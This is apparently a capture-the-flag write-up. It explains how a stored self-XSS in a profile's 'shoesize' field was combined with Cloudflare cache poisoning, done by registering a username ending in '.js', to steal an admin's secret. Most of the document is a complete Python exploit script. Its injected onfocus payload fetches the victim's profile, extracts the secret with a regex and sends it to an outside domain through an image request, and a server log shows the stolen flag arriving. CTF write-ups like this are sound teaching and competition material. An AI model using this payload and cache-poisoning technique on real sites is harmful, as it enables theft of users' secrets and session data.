There was an xss vulnerability in update profile (`shoesize`). You could only inject attributes on a `select` tag. By setting `tabindex`/`contenteditable` and `autofocus`, the `onfocus` event will trigger. We use the payload to `fetch()` the currently authenticated users profile and read their secret. Then we report our profile to the `admin`.
The caveat was that it was a stored self-xss, so the xss on our profile would not trigger if another user viewed it. The challenge was behind cloudflare so we used cache poisoning[1] to make our profile load the same for every user. We can poison the cache by registering a username ending with `.js`. Apparently, this was not the intended way to solve this problem.
Last problem was that cloudflare has different cache regions, which one was `admin` using? We guessed that it would be hosted in the same region as other challs. The pwnable challs were not behind cloudflare and showed that they were DigitalOcean droplets in the Frankfurt region. So summary of steps:
1. Buy digital ocean droplet in frankfurt (same region as pwnable challs)2. (from DO) Sign up blablabla.js3. (from DO) Update blablabla.js profile with xss4. (from DO) Visit blablabla.js profile5. (from home, because captcha) Report blablabla.js profile
Exploit:
```pythonimport requests, random
payload = '''fetch("/profile").then(function(e){e.text().then(function(f){new/**/Image().src='//avlidienbrunn.se/?'+/secret(.*)>/.exec(f)[0]})})'''raw_data = '''------WebKitFormBoundary8XvNm1gXcAtb4HikContent-Disposition: form-data; name="firstname"
azz------WebKitFormBoundary8XvNm1gXcAtb4HikContent-Disposition: form-data; name="lastname"
zzz------WebKitFormBoundary8XvNm1gXcAtb4HikContent-Disposition: form-data; name="shoesize"
1 tabindex=1 contenteditable autofocus onfocus='''+payload+''' ------WebKitFormBoundary8XvNm1gXcAtb4HikContent-Disposition: form-data; name="secret"
asd------WebKitFormBoundary8XvNm1gXcAtb4HikContent-Disposition: form-data; name="avatar"; filename=""Content-Type: application/octet-stream
------WebKitFormBoundary8XvNm1gXcAtb4Hik--'''
s = requests.Session()
s.get('http://web50.zajebistyc.tf/login')
username = 'hfs-'+str(random.randint(1000000,99999999))+".js"password = username
headers_login = {'Content-Type': 'application/x-www-form-urlencoded'}headers = {'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundary8XvNm1gXcAtb4Hik'}
# Register accountres = s.post('http://web50.zajebistyc.tf/login', headers=headers_login, data="login="+username+"&password="+password)
# XSS profileres = s.post('http://web50.zajebistyc.tf/profile/'+username, data=raw_data, headers=headers)
# Poison cloudflare caches.get('http://web50.zajebistyc.tf/profile/'+username)
print "poisoned. go report "+'http://web50.zajebistyc.tf/profile/'+username```
Output in log after reporting the profile:```141.101.77.214 - - [16/Mar/2019:15:27:39 +0000] "GET /?secret%22%20value=%22p4{15_1t_1m4g3_or_n0t?}%22%3E HTTP/1.1" 200 1401 "http://web50.zajebistyc.tf/profile/hfs-25651301.js" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/72.0.3626.122 Safari/537.36"```
Flag `p4{15_1t_1m4g3_or_n0t?}` acquired.
[1] https://portswigger.net/blog/practical-web-cache-poisoning